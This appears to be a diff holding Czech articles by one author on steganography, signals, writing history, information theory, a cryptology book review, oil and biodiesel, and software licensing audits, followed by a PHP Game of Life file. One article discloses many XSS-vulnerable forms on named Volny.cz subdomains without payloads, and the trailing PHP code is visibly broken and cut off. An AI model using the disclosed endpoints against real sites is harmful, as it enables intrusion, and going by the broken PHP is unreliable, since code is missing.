utajenim informaci s cilem ukryt komunikaci pred okolnim svetem. + +Asi nejstarsi dolozitelna zminka o pouziti steganografie pochazi ze stare povesti, jejiz dej se odehrava v patem stoleti pred nasim letopoctem, v dobe vlady krale Dariuse. Ten veznil Reka Histiaea, ktery tajne odeslal zpravu svemu zeti Aristagorovi do Anatolianu tak, ze zpravu nechal vytetovat na oholenou hlavu sveho otroka. Teprve pote co hlava otroka opet zarostla vlasy, vydal se na cestu, aby tento vzkaz dorucil. Prijemce zpravy nechal hlavu otroka opet oholit, aby si tak mohl informaci vytetovanou na jeho hlave precist. Sami vidite, ze se jednalo o velice zdlouhavou proceduru, kterou nebylo mozne pouzit ve vsech pripadech utajovane komunikace. + +V historii se proto setkavame s dalsimi zpusoby pouziti steganografie. V antickem Recku se napriklad pouzivaly drevene desticky. Na ty se vzkaz nechal napsat nebo do nich vyryt a posleze se zalil vrstvou vosku, ktery byl podobneho vzhledu jako desticka. Informace se pak objevila teprve ve chvili, kdy se vosk opet zahral a z desticky odstranil. + +Patrne nejznamejsi steganograficke metody zname z historie jsou zalozeny na pouziti ruznych neviditelnych inkoustu. Zpravy napsane takovouto tekutinou nebyly za beznych podminek na papire viditelne a svuj obsah odhalovaly teprve, pokud byly vystaveny zvlastnimu osvetleni nebo pokud prosly nejakou chemickou cestou, nejcasteji po zahrati archu nad plamenem. Mezi tyto neviditelne inkousty patrily ruzne ovocne stavy (vymackany citron), mleko nebo moc. Dnes se muzeme v zabavne steganografii setkat s neviditelnymi inkousty, ktere jsou bezne k dostani v obchodech, napriklad v podobe fixu, jejichz pismo je citelne, pouze pod ultrafialovym zarenim. + +Dalsi z metod, kterou si muzete sami vyzkouset, je pismo pod skorapku neoloupaneho, natvrdo uvareneho vajicka. Rikate si, ze to neni mozne? Jiz v patnactem stoleti popsal tuto metodu italsky renesancni vedec Giovanni Battista della Porta. Pripravite-li si roztok octa a kamence (je bezne dostupny v drogerii), muzete timto roztokem neviditelne psat po skorapce uvareneho vajicka, pricemz roztok pronika az na bilek a zanechava na nem kresby. Vysledek je citelny az ve chvili, kdy nekdo vejce oloupe a jeho popsany bilek odhali. Stejne tak priklady ukryti informace ve skorapce od orechu nejsou nijak ojedinele. Z doby druhe svetove valky pak jsou zname priklady, kdy byla informace drobounkym pismem napsana na druhe strane knofliku nebo byla ukryta na pasu filmu pomoci jakychsi mikrotecek. + +Pouziti steganografie muzeme dale podporit neznamym zpusobem kodovani nebo zasifrovanim skryvane informace. Zved usilujici o takovou informaci je postaven hned pred dva nelehke ukoly. Skrytou informaci musi nejenom nalezt a prolomit tak steganografii, ale pote i dekodovat nebo desifrovat a tim prorazit kryptologii. + +Ukazeme si zde par prikladu, ktere spojuji steganografii s Morseovym kodovanim (Morseova abeceda). Informaci, kterou potrebujeme ukryt nejprve znak po znaku zakodujeme Morseovym kodovanim za pouziti nasledujici tabulky do vysledku skladajiciho se pouze z tecek a carek. + +A takto bychom ji mohli ukryt pomoci steganografie: + +- Velikosti pismen +Nahrazenim tecek za mala pismena a carek za pismena velka. Jednotliva slova volime stejne delky jako je pocet carek a tecek jednoho pismena. Nejlepsich vysledku pak dosahneme, pokud vznikla veta dava smysl. + +Ukryti informace do velikosti pismen. + + +- Nakreslenim pily +Tecky delame jako nizsi zuby, carky jako vyssi. Pismena oddelujeme mensim zubem smerujicim dolu, cela slova pak zubem vetsim. + +Sifry a kody moderni doby 3.dil +Autor: .cCuMiNn. + +Signal a jeho prenos +Po precteni prvnich kapitol, kde jsme se seznamili s informacemi a zpusobem jejich kodovani, prichazi nyni na radu, rici si neco o cestach, kterymi se zakodovana informace muze sirit. K cemu by informace byla, pokud by se nemohla prenaset? + +Signal – znameni s urcitym vyznamem, ktere s sebou nese informaci. + + +Signaly se k prenosu informace vyuzivaji od nepameti. Nejprve slouzily k prenosu zprav mezi u sebe stojicimi jedinci nebo se signaly predavaly jako znameni pomoci ruznych obrazcu. Objevila se vsak myslenka na rychly prenos informace na velke vzdalenosti. Americti Indiani pouzivaly napriklad kourove signaly a africane prenaseli zpravy zvukem pomoci bubnu. Zhruba pred tremi tisici lety zacaly prvni rise stavet signalni site straznic na vyvysenych mistech, odkud se mohly informace sirit v podobe kourovych, ohnivych, vlajkovych nebo jinych signalu na velikou vzdalenost a rychle tak dokazaly pozadat o pomoc pri napadeni. Z jednoho takoveho stanoviste bylo vzdy videt k mistum dalsim, takze vznikala jakasi postupna reakce tvorena napriklad zapalovanim hranic a signal se tak mohl prenest na stovky kilometru vzdalena mista. Signal prenasejici informaci, se tak stal dulezitou soucasti zivota. Kdo neovladal umeni prenest informaci, mel ve valkach predem predurcenu porazku. Stejne podstatne, jako schopnost prenaset vlastni informace, je pro strategicke ucely valky dulezite narusovani komunikace nebo obsah zprav znepratelene strany. Drive se stacilo zmocnit jedne signalni hranice a cela sit byla nahle narusena. Stejne tak bylo mnoho bitev vyhrano diky podvrzeni falesnych zprav a odchycenim zprav druhe strany. Asi nejvetsi a nejznamejsi vladce, ktery dokazal s informacemi a jejich prenosem delat prave zazraky byl Alexandr Veliky, ktery se tak stal jednim z nejmocnejsich vladaru. Dnes se pro ruseni signalu pouzivaji nejruznejsi rusicky radioveho signalu a jina podobna zarizeni. Na Internetu se s podobnym rusenim muzeme setkat napriklad v podobe DOS utoku, ktery nam odepre ziskani pozadovanych informaci. + +Popiseme si zde blize jakym zpusobem k prenosu informace dochazi. +Schema prenosu signalu + + * Zdroj zpravy (informace) + * Kodovani (prevede informaci na dohodnuty tvar) + * Modulace (premeni zakodovanou informaci na prenosovy signal) + * Prenos signalu (sireni signalu prenosovou cestou) + * Demodulace (premeni signal na zakodovanou informaci) + * Dekodovani (prevede kod na srozumitelnou informaci) + * Prijemce zpravy + + + +Od doby, kdy se signal prenasel vyse popsanym zpusobem uplynuly jiz tisice let, nicmene schema prenosu informace se zachovalo az do dnesni doby. Samozrejme s tim rozdilem, ze doslo k nahrazeni jednotlivych fyzickych soucasti modernimi prvky. Funkci vojaka jez zapaluje hranici, nahradili elektronicke kodery a modulatory, ktere prevadi informace na presne elektricke signaly. Rychlost a objem prenasenych informaci se take mnohonasobne zvysily. Zpusoby, jakymi se dnes na dlouhe vzdalenosti signaly prenasi jsou jine. V dnesni dobe nam k prenosu informace slouzi nejcasteji elektricke impulsy nebo elektromagneticke vlneni. + +Moderni historie prenosu informace se zrodila na prelomu 18. a 19. stoleti, kdy byl vynalezen telegraf. Doslo k vytvoreni telegrafni site, ktera se zacala nahrazovat siti telefonni pote, co Alexander Graham Bell sestrojil v roce 1876 prvni telefonni pristroj. Z prenosu signalu se stal business. Dnes jsme obklopeni signaly temer vsude, kde se nachazime. Kolem nas na ruznych frekvencich proudi kazdou vterinou miliony bitu ruznych informaci, od rozhlasovych ci televiznich vysilani, pres pasma mobilnich operatoru ci site poskytovatelu wi-fi pripojeni k Internetu. Z druzic na obezne draze na nas neustale dopadaji informace o presnem case pro urceni presne polohy (GPS), prochazime se pod dratovym vedenim telefonnich spolecnosti a vse nam pripada naprosto normalni. + + +Alexandr Makedonsky (Veliky) Alexandr Makedonsky (Veliky) +(20.7.356pr.n.l. – 13.6.323pr.n.l.) + +Jedna z nejvetsich osobnosti svetoveho valecnictvi. +Jako jeden z prvnich dokazal ovladnout silu informace a tuto schopnost nalezite vyuzit ve svych valecnych tazenich. + + +Kdo ma informace, je mocny. Ten, kdo jich ma vice a rychleji je mocnejsi. Zivot bez informaci a bez jejich prenosu neni v soucasne spolecnosti mozny. + +Sifry a kody moderni doby 2.dil +Autor: .cCuMiNn. + +Kodovani +Kdyz nyni vime co jsou to informace, je na case si povedet neco o zpusobu, jakym informace sdelujeme. Informace sami o sobe by byly pouze zmeti chaosu, kdyby neexistovalo kodovani. + + +Kodovani - dohodnuty zpusob komunikace, neboli souhrn pravidel pro vyjadreni informace. + + +Nebudeme-li pocitat ruzne posunky, mimicka gesta a skreky, ktere mezi kody samozrejme patri take, muzeme za nejstarsi kodovani povazovat jazyk, kterym se lide dorozumivaji a pismo, ktere informaci dokaze uchovat po veky. Nebude proto od veci, kdyz si historii pisma trochu pripomeneme. + +Historie pisma +Za tvurce prvniho pisma jsou povazovani Sumerove. Ti zacali nejdrive pouzivat obrazkove pismo, kde kazdy obrazek vyjadruje jednu konkretni vec nebo osobu. Takovemu pismu rikame piktogramy. Nasledne se jednotlive piktogramy zacaly slucovat do slozitejsich obrazku, ktere vyjadrovaly cele myslenky, ci deje. Tyto nazyvame ideogramy. + +Rosettska deska Materialem pro zaznamenani informaci se na dlouhou dobu stal kamen. Diky pouziti tohoto tvrdeho materialu se podarilo uchovat tisice let stare pisemne dedictvi az do dnesni doby. O davno zaniknutych civilizacich se muzeme docist napriklad z egyptskych hieroglyfu, ktere se podarilo rozkodovat teprve nedavno. Francouzky vedec Jean Francois Champollion diky zname Rosettske desce, dokazal roku 1822 precist informace, ktere zustavaly po staleti zapomenuty. Tato vzacna kamenna deska, ktera byla nalezena roku 1799 dustojnikem Napoleonske armady, obsahuje totiz text v hieroglyfech a soucasne preklad textu v rectine. + +Klinove pismo Tesani informaci do kamene, bylo pomerne narocne, v Mezopotamii se proto pouzivaly tabulky z vlhke, tvarne hliny, do kterych se seriznutym rakosem vrypovalo pismo slozene prevazne z car. Vrypy tvaru klinu, dali nazev klinovemu pismu, jehoz vznik je prisuzovan take Sumerum. Tabulky se pote nechali vysusit na slunci nebo se ve vyjimecnych pripadech vypalovaly. Mezi dalsimi materialy pro zaznam pisma najdeme papyrus nebo pergamen. + +Za dalsi dulezity meznik v historii lze povazovat vznik foinickeho pisma. Toto pismo vzniklo kolem roku 1500 pr.n.l. a na rozdil od piktogramu nebo ideogramu predstavoval kazdy znak urcitou slabiku. Pismo obsahovalo pouze souhlasky a celkem bylo slozeno ze 22 znaku. Foinicke pismo prevzali pozdeji Rekove, kteri jej upravili a rozsirili o nektera pismena vcetne samohlasek. Recka abeceda se rozsirila do Italie, kde dala vzniknout latince, kterou pouzivame dodnes. + +Soucasna kodovani +S kody v ruznych podobach se setkavame opravdu na kazdem kroku. Auto ukazujici na krizovatce smer jizdy vysila kod, ktery si spravne interpretujeme, predpokladame-li jeho odboceni. Semafor na krizovatce nas pomoci barevnych kodu take informuje o urcite situaci, na kterou musime reagovat. Krome pisma pouzivame dale barevne, obrazkove ci zvukove kody. Obrazkove kody, kterymi jsou napriklad dopravni znacky nebo symboly na ruznych kontrolkach maji tu vyhodu, ze prekonavaji jazykovou barieru a stavaji se mezinarodne srozumitelne. S rozmachem vypocetni techniky se zacaly pouzivat nove kody (programovaci jazyky), pomoci kterych programatori komunikuji se strojem. U osobniho pocitace se muzete setkat s vyrazem kodovani cestiny a podobne. + +Ten, kdo si pod pojmem kodovani predstavoval tajne sifry, kterym rozumi pouze hrstka vyvolenych, ma nyni snad jasno. Kodovani je bezna soucast vsedniho zivota, nikterak se nesnazi o ukryti informace, ale naopak zajistuje pravidla pro jeji srozumitelny prenos. Jak jsme si vsak ukazali na priklade egyptskych hieroglyfu, nastava jina situace v pripade, ze dojde k zapomenuti pravidel, ktera byla pri kodovani pouzita. V takovem pripade se kryptoanalitici pekne zapoti, nez dokazi tyto kody dekodovat. Dodnes tak mnoho pradavnych kodu ceka na rozlusteni, aby mohli vydat sva tajemstvi… + +Sifry a kody moderni doby 1.dil +Autor: .cCuMiNn. + +Abychom spravne pochopili principy moderniho sifrovani, neobejdeme se bez znalosti historie a nekolika definic. No a kde zacit jinde nez u definice informace, u ktere vsechno zacina a take konci… +Informace +Informace – slovo, ktere kazdy z nas pouziva denne pri mnoha prilezitostech. Informace jsou beznou soucasti naseho zivota, ovlivnuji v nem kazdy okamzik a da se rici, ze bez informaci by v dnesni informacni spolecnosti nemohl clovek existovat. Ne nadarmo se rika, ze informace maji cenu zlata. I kdyz dokazeme toto slovo vsichni bez problemu pouzivat, jen malokdo zna presny vyznam tohoto slova, pricemz dostupnych vykladu a definic muzeme najit hned nekolik. Jelikoz se k informacim pristupuje v ruznych vednich oborech odlisne, jsou i definice v kazdem z nich ruzne, presto se da ale rici, ze zaklad maji vsechny tyto definice stejny. + +Informace – sdelitelny poznatek, ktery ma smysl a snizuje nejistotu. + + +Na prikladech si rozvineme predchozi definici, tak aby byla vsem srozumitelna: + +Do losovaciho bubnu vlozime jeden los. Pokud od nekoho dostaneme zpravu, ze bude vylosovan prave tento los, bude to pro nas informace s nulovou informacni hodnotou, protoze jde o jev jisty. Pokud bychom do bubnu vlozili losu sto a nekdo by nas predem informoval, ktery los bude tazen, bude pro to pro nas informace s vysokou informacni hodnotou, jelikoz jde o jev velmi malo pravdepodobny. + +Podobnym prikladem muze byt i tato uvaha: Je normalni, ze kazdy den jezdim do prace autobusem, ktery vzdy prijizdi presne. Informace typu „zitra prijede autobus presne“ pro me tedy nema temer zadnou hodnotu, vzhledem k tomu, ze to predpokladam. Ovsem informace „autobus ma poruchu a zitra nepojede“ ma pro me informacni hodnotu velikou, protoze to nemohu predpokladat a musim si tim padem zajistit jiny zpusob prepravy. + +Z uvedenych prikladu vyplyva, ze kazda zprava nese urcite mnozstvi informace. Velikost tohoto mnozstvi zalezi na predpokladatelnosti jevu, o kterem informuje. Pravdepodobnost vyskytu urciteho jevu se oznacuje mirou neurcitosti (entropie). Cim je entropie vetsi, je vyskyt jevu pravdepodobnejsi a mnozstvi informace je mensi. Stejne plati i opak, cim je entropie mensi, je mene pravdepodobny vyskyt jevu a mnozstvi informace je proto vetsi. Aby se dala velikost informace porovnavat, byla zavedena velicina informace a jednotkou teto veliciny byl zvolen Sh [shannon]. Nazev byl zvolen podle matematika C.E.Shannona, ktery jako prvni vytvoril definici informace a dokazal jeji meritelnost. + +Claude Elwood Shannon (30. 4. 1916 – 24.2.2001) Claude Elwood Shannon (30. 4. 1916 – 24.2.2001) + +Americky matematik a inzenyr, jeden ze zakladatelu teorie informace. Zamestnanec Bellovych laboratori, v roce 1948 publikoval v casopise Bell System Technical Journal clanek "The Mathematical Theory of Communication". Spolu s Warrenem Weaverem autor obecneho modelu komunikace (1947). + + +V souvislosti s informacemi, se pouzivaji take terminy data a znalosti, ktera maji s informacemi velmi pribuzny vztah. Informace, ktere nemaji samy o sobe smysl nazyvame data a informace, ktere jsme si jiz osvojili a ktere tedy vime, oznacujeme jako znalosti. + +Kryptologie, sifrovani a tajna pisma +Autor: .cCuMiNn. + +obalka knihy Po par mesicich se mi opet dostala rukou kniha venujici se kryptologii. Kniha s vystiznym nazvem Kryptologie, sifrovani a tajna pisma znameho ceskeho kryptologa Pavla Vondrusky, kterou vydalo nakladatelstvi Albatros v edici OKO. Ihned po precteni prvnich stran bylo zjevne, ze autor tuto knihu psal privetivym stylem, ktery je velmi ctivy a porozumet obsahu vam rozhodne nebude cinit potize. + +Autor ctenare postupne zasveti do zakladu kryptologie, vysvetli mu nejpouzivanejsi vyrazy a ukaze prakticke pouziti jednotlivych sifrovacich systemu a pouzivanych sifer. Je jich tolik, ze kdybych mel vsechny sifry a sifrovaci systemy, kterym se kniha podrobne venuje, vyjmenovat, popsal bych zde nekolik stran. Uvedu proto pouze strucny prehled klasickych sifrovych systemu, ktere kniha popisuje: + + * Polyalfabeticke sifry + * Jednoducha transpozice + * Uhloprickove-sloupcova transpozice + * Dalsi transpozicni systemy + * Zlomkovy sifrovaci system + * Kombinovane klasicke sifry + * Steganograficke metody + * Neviditelne inkousty + +U kazdeho z uvedenych sifrovacich systemu jsou uvedeny i jeho slabiny a jsou popsany metody a postupy, kterymi je mozne jednotlive sifry desifrovat. + +Nasleduje bohaty vycet dulezitych dat a mezniku v dejinach kryptologie zhruba od roku 1900 pr.n.l. az po soucasnost. V tomto vyctu nalezne ctenar popis vsech dulezitych sifrovacich systemu, ktere se v historii pouzivaly a se kterymi se muze setkat. + +Panu Vondruskovi se podarilo nenasilnou formou vysvetlit zaklady kryptologie a zapalit tak ve ctenarich touhu po novych informacich. Kniha je tak urcena jak naprostym zacatecnikum, tak i pokrocilejsim zajemcum o tajemstvi tohoto obru. Trochu me zamrzelo, ze kniha nebyla o par set stran tlustsi a ze se autor nemohl vice venovat soucasnym sifrovacim medodam, ktere se bezne pouzivaji ve svete informacnich technologii. Takova kniha mi na pultech knihkupectvi v soucasne dobe opravdu schazi a pral bych si, aby se stala pristim dilem tohoto autora. Ackoli ma kniha Kryptologie, sifrovani a tajna pisma na nasem trhu jiz nejakou tu konkurenci v podobe knih Sifry a kody od hyeroglifu po hackery nebo Sifrovani a biometrika aneb tajemne bity a dotyky, ktera se navic venuje i soucasnym systemum, musim konstatovat, ze uvod do kryptologie zvlada kniha pana Vondrusky mnohem lepe a detailneji nez ostatni zminovane tituly. + +Pokud se mi ve vas podarilo vzbudit zajem o knihu Kryptologie, sifrovani a tajna pisma, pak tato recenze splnila svuj ucel. Nemilou povinnosti vsak zustava upozorneni na skutecnost, ze kniha byla vydana v mensim nakladu a behem kratke doby byla temer vyprodana. Doporucuji vam proto vyrazit na pruzkum knihkupectvi co nejdrive, protoze jedine tak mate jeste sanci zahlednout tuto knihu v nekterem z regalu. Pokud byste to stesti nemeli a knihu jiz nesehnali, nezbyva nez doufat, ze diky uspechu, ktery kniha mela, se brzy dockame i jejiho opetovneho vydani. + + +Budoucnost ropy + +Svetove zasoby ropy se pomalu ztencuji. Spotreba teto tekutiny se kazdym rokem zvysuje a za poslednich 5 let stoupla ze 77 milionu barelu na 84 milionu barelu za den. Z tohoto vyvoje lze jednoduse spocitat, ze behem 21.stoleti budou veskera svetova loziska ropy vycerpana. Jednotlive zeme tezici ropu maji dnes zasoby uz pouze na nekolik desetileti. Saudska Arabie ma pri zvysujici se produkci zasobu maximalne na 40 let. Zasoby Iranu a Iraku se diky velmi nizke tezbe odhaduji na 90 let. V techto statech navic panuje napjata politicka situace a dodavky ropy z techto zemi mohou byt touto skutecnosti znacne poznamenany. Na ruskem uzemi se odhaduje zasoba ropy priblizne na 25 let a nova loziska se v teto zemi budou hledat jen velmi obtizne v mistech tezko dostupnych strojum potrebnym pro tezbu a prepravu. Co se ropy tyce, stane se vsak Rusko pro pristi desetileti pravdepodobne nejspolehlivejsim dodavatelem. + +Nedojde-li na trhu s ropou k nahlym vykyvum dodavek, zpusobenych vojenskymi konflikty v Iranu, rozpadem Saudske Arabie nebo terorismem v Iraku, poroste denni svetova spotreba ropy zhruba k roku 2020. V tomto roce se podle odhadu bude spotreba pohybovat na hranici priblizne 115 milionu barelu za den. V dalsich letech jiz bude ropy viditelne ubyvat a spotreba bude klesat diky neunosne vysoke cene teto tekutiny. + +Je proto zrejme, ze se lidstvo musi touto problematikou zabyvat a musi tedy najit surovinu, kterou by slo „cerne zlato“ plne nahradit. Vedci se jiz dlouho pokousi vyrobit takovou surovinu z obnovitelnych zdroju. Jednim z uspesnych pokusu, ktery z rukou vedcu vzesel je BIO nafta. Tato tekutina je smesi metylesteru a motorove nafty, pricemz metylester se ziskava ze semen repky olejne a v BIO nafte je ho tretinovy podil. Toto palivo navic produkuje mnohem mene spalin nez bezne pohonne hmoty, cimz mene zatezuje zivotni prostredi. V soucasne dobe tvori podil biologickeho paliva zhruba 2% z celkove spotreby pohonnych hmot v Ceske republice. Nase vlada se navic jako clenska zeme Evropske Unie zavazala do roku 2010 zvysit tento pomer na 5,75%. + +Aby se vsak Ceske republice podarilo dostat sveho zavazku, je nutne udrzet vyrobu metylesteru na urovni 100.000 tun za rok. Takto vysoka produkce ale predstavuje zpracovani 280.000 tun semene repky olejne a vyuziti priblizne 120 000 hektaru orne pudy. Ceska vlada se proto rozhodla podporovat v teto oblasti zemedelce a vyrobce metylesteru. Od roku 1997 uvolnuje kazdym rokem dotace ve vysi nekolika set milionu Korun. Pro spotrebitele je pak BIO nafta zvyhodnena nizkou spotrebni dani. + +Cena BIO nafty bohuzel zustava v soucasne dobe vyssi nez cena bezne nafty a spotrebitel tak radeji voli mene ekologickou variantu. Cenovy rozdil se vsak postupne snizuje. Skutecnost, ze cena bezne ropy postupne poroste vlivem jejiho nedostatku, nahrava prave zvysovani podilu bio slozky v palivech. V brzke dobe se tak pravdepodobne dockame uplneho nahrazeni stavajicich pohonnych hmot nekterou z vice ekologickych variant ziskavanou z obnovitelnych zdroju energie. Vyhneme se tak katastrofickemu ropnemu soku, ktery by nas mohl behem nekolika desetileti postihnout. + + + + +Bezpecnost na webu Volny.cz +Autor: .cCuMiNn. + +nologo Po bezpecnostnim testu venovanem freemailu spolecnosti Seznam.cz, ktery skoncil s oznamenim zranitelnosti na CSRF utoky, jsem se tentokrat zameril na web Volny.cz spolecnosti Telekom Austria. Vysledkem bezpecnostniho testu je tento report, ktery informuje o nalezenych zranitelnostech. + +Jako prvni jsem se zameril na hledani zranitelnosti v podobe XSS. Tyto by mely byt na portalech teto velikosti podchyceny, protoze jde snad o nejvice diskutovany a zdokumentovany druh zranitelnosti. Ac jsem nachylnost na utoky XSS necekal, nasel jsem jich na webu Volny.cz spousty. Da se dokonce rici, ze bylo spise vyjimkou, pokud prihlasovaci nebo vyhledavaci formular touto chybou netrpel. +XSS na webu Volny.cz + + * Vyhledavani, na uvodni strance a pod odkazem vyhledavani, ktere bezi na domene volny.zlatestranky.cz. + * Vyhledavani ve zbozi, ktere bezi na domene zbozi.volny.cz + * Vzhledavani v e-shopu na domene shop.volny.cz + * Dalsi chybicka se nachazi na domene web.volny.cz pri prihlasovani k SMS. + * XSS zranitelnosti trpi i formular pro prihlaseni k mailovemu uctu, ktery je umisten na hlavni strance web.volny.cz. Tomuto formulari sice nelze predat data odkazem, protoze je cerpa z cookies, ale presto tuto zranitelnost obsahuje. + * Dalsim postizenym mistem je chat.volny.cz, kde obsahuje XSS zranitelnost prihlasovaci formular, kteremu je nutne data poslat metodou post. + * Stranka s SMS je ve svem formulari pro vyhledavani take nachylna pres POST vhodne upravenych dat, stejne jako formular pro vyhledavani v televiznich programech na adrese http://web.volny.cz/zabava/tv/ + * Sekce album.volny.cz je nachylna ve formulari pro prihlaseni a soucasne take ve formulari pro vyhledavani. + * Zrejme proto, aby v tom spolecnost Volny.cz nezustala sama, umoznuje neosetrene prihlasovani i do dalsich domen. Napriklad na adrese http://sex.volny.cz/ muzete vyvolat XSS pokud se pokusite prihlasit s vhodne upravenym PoST pozadavkem k seznamce www.amateri.cz. Tato chyba ovsem vznika az v kontextu zminene seznamky a proto se ji zde nebudeme zabyvat. + + +Legalita software a softwarovy audit (2) +Autor: .cCuMiNn. + +V minulem dile tohoto serialu jsme si rekli neco o autorskem zakonu, o tom kdy dochazi k jeho porusovani a o trestech, ktere hrozi tomu, kdo autorsky zakon porusi. Priblizili jsme si take policejni zakrok pri kontrole legalnosti pouzivaneho softwaru a prave na ten dnes navazeme dilem, ktery se bude venovat dokladum, ktere potrebujeme k prokazani legalniho nabyti softwaru. +Cim dokladovat legalni nabyti softwaru + +Nejdulezitejsim dokladem o legalnim nabyti softwaru je faktura nebo jiny doklad vystaveny prodejcem. Timto dokladem deklarujeme pri kontrole legalni nabyti softwaru. Z tohoto duvodu je nutne veskere doklady o koupi softwaru peclive uschovat a mit je dostupne po celou dobu pouzivani daneho programu. Na toto je dulezite myslet hlavne ve firmach, ktere maji povinnost uchovavat danove doklady pouze po dobu peti let a pak casto dochazi k jejich skartovani. V pripade, ze by ke skartovani techto nabyvacich dokladu doslo, budete legalnost softwaru prokazovat jen tezko a pokud nedohleda tyto doklady ani vas dodavatel, budete software nuceni koupit podruhe. Jestlize jste porizovali k nekterym svym programum upgrade, pak je dulezite uschovat doklady nejen od koupe tohoto upgradu, ale zaroven musime dokladovat i legalni nabyti predchozi verze, kterou v soucasne dobe jiz nepouzivame, ale diky ktere jsme meli narok na slevu v ramci upgrade. + +Pokud se nyni zamerime na OEM licence, ktere je mozne (az na vyjimky), poridit pouze spolecne s novym hardwarem, pak nesmime zapomenout na to, aby byl veskery OEM software uveden na kupnim dokladu k tomuto hardwaru. V zadnem pripade nestaci, aby bylo na dokladu uvedeno napriklad: "Predmetem koupe je pocitac LINX spolecne s nainstalovanym softwarem." Vzdy musime trvat na tom, aby byl na dokladu uveden presny nazev programu, jeho verze a v nekterych pripadech i jazykova mutace. Spravne vypsany doklad by mel tedy obsahovat napriklad takovouto vetu: " Uvedeny hardware je dodan spolecne s nainstalovanym operacnim systemem OEM MS Windows XP profesional CZ." OEM verze softwaru jsou vazany na hardware, se kterym byly porizeny (casto musime na skrin pocitace nalepit stitek dodavany s OEM verzemi programu) a pokud dochazi k odpisu tohoto hardware, musime spolecne s nim vyradit i OEM software, uvedeny na prodejnim dokladu k hardwaru. V zadnem pripade nemuzeme OEM verze programu vzit a nainstalovat je na jiny hardware. Pokud by probihala kontrola legalnosti a byla by zjistena skutecnost, ze OEM verze softwaru jsou nainstalovany na jinem hardwaru, nez ktery je uveden na nabyvacim dokladu s inkriminovanym softwarem, pak by se tato kopie brala jako nelegalni. Kdyz uz jsme nakousli software kupovany spolecne s hardwarem, musime si take uvedomit, ze spolecne s hardwarem dostavame casto darem i ruzny software v podobe her a uzitecnych programu. Vzdy bychom meli trvat na tom, aby byl seznam veskereho softwaru, ktery je s hardwarem dodan, uveden na dokladu o koupi. +Uvedme si priklad: +Koupime si fotoaparat a spolecne s nim dostaneme program pro upravu fotek, kadernicke studio pro tvorbu ucesu a dalsi napriklad pro tvorbu fotoalbumu. Vsechno budou komercni programy, ktere nebudou uvedeny na dokladu o koupi fotoaparatu ani v seznamu jeho prislusenstvi a my si je vsechny nainstalujeme. Kdyz potom prijde kontrola, tak si s nejvetsi pravdepodobnosti nevzpomeneme na to, kde jsme k temto programum prisli a pokud si preci jen vzpomeneme, nebudeme moci legalitu nabyti nijak dokazat. V takovem pripade nam pak hrozi nahrada skody za pouziti techto programu. + +Dalsi veci, o ktere jsem se zapomnel zminit v minulem dilu jsou pocitace cekajici na vyrazeni, pokud je prestaneme pouzivat. Pokud software, ktery jsme na nich pouzivali, nainstalujeme na novy pocitac, musime jej vzdy z vyrazovaneho pocitace ihned odinstalovat. Rekneme, ze si koupime krabicovou verzi MS Office, kterou pouzivame na svem pocitaci. Za nejakou dobu se rozhodneme, ze se stareho pocitace zbavime a misto nej si poridime novy. Stary pocitac hodime bez odinstalace do kouta a nas MS Office si nainstalujeme na novy pocitac. Pokud v tuto chvili prijde kontrola, nebude ji v zadnem pripade zajimat, ze je pocitac v koute vyrazeny a jedna kopie nainstalovaneho baliku MS Office bude povazovana za nelegalni. +Softwarovy audit + +Z vyse uvedenych faktu je patrne, ze pravidelna kontrola instalovaneho softwaru, mnozstvi licenci a jejich spravne prirazeni k nabyvacim dokladum je z preventivniho hlediska velmi dulezita. Pokud patrite mezi uzivatele, kteri se snazi instalovat na svuj pocitac pouze legalne nabyty software, pak si zkuste polozit otazku, zda byste byli v pripade kontroly schopni dohledat vsechny doklady o koupi pouzivaneho softwaru. Pokud nemate doklady naprosto v poradku, zrejme vam da celkem dost prace, nez vsechny potrebne dokumenty date dohromady. A co teprve, pokud jste spravcem IT ve vetsi firme a musite priradit nabyvaci doklady k softwaru, ktery je instalovan na desitkach pocitacu? Vzdy byste meli myslet na nejhorsi a povazovat policejni kontrolu legalniho pouzivani softwaru za realnou vec, ktera vas muze kdykoliv potkat. Netreba zduraznovat, ze pokud budete provadet preventivni softwarovy audit sami od sebe, budete na policejni kontrolu vzdy pripraveni a nebudete se ji muset obavat. Nehlede na to, ze jste-li zminenym spravcem IT ve firme, pak nesete plnou zodpovednost za nainstalovany software a v pripade, kdy si na sve pocitace nainstaluji nelegalni software samotni zamestnanci, stejne stanete pred soudem s nejvetsi pravdepodobnosti prave vy. To uz je snad dostatecny duvod, ktery by vas mel k softwarovymu auditu prinutit. Co to tedy softwarovy audit vlastne je? Jde o vytvoreni seznamu veskereho softwaru nainstalovaneho na pocitacich, kterych se softwarovy audit tyka, dohledani vsech nabyvacich dokladu a pripadne dokoupeni licenci nebo odinstalace softwaru, ktery byl na pocitace instalovan nelegalne. + +Priste se sejdeme jiz u posledniho dilu tohoto serialu, abychom si povedeli neco o tom, jak spravne provadet softwarovy audit a jakym zpusobem mohou spravci IT prenest zodpovednost za instalovany software na koncove uzivatele. diff --git a/php/game-of-life/glider.txt b/php/game-of-life/glider.txt new file mode 100644 index 0000000..a3dcc3a --- /dev/null +++ b/php/game-of-life/glider.txt @@ -0,0 +1,30 @@ +------------------------------------------------------------------------------- +----#-------------------------------------------------------------------------- +-----#------------------------------------------------------------------------- +---###------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- +------------------------------------------------------------------------------- diff --git a/php/game-of-life/golife.php b/php/game-of-life/golife.php new file mode 100644 index 0000000..fa509ae --- /dev/null +++ b/php/game-of-life/golife.php @@ -0,0 +1,154 @@ + $line) { + $life[$lnum] = trim($line); + } + return $life; +} + +// +function life_randomize($lines, $chars) { + $pop = $GLOBALS["populated"]; + $unp = $GLOBALS["unpopulated"]; + $life = ""; + $i = 0; + while($lines > $i) { + $line = ""; + $ichars = $chars; + while($ichars > 0) { + $line = $line.rand(0,1); + $ichars--; + } + $line = str_replace("0", $unp, $line); + $line 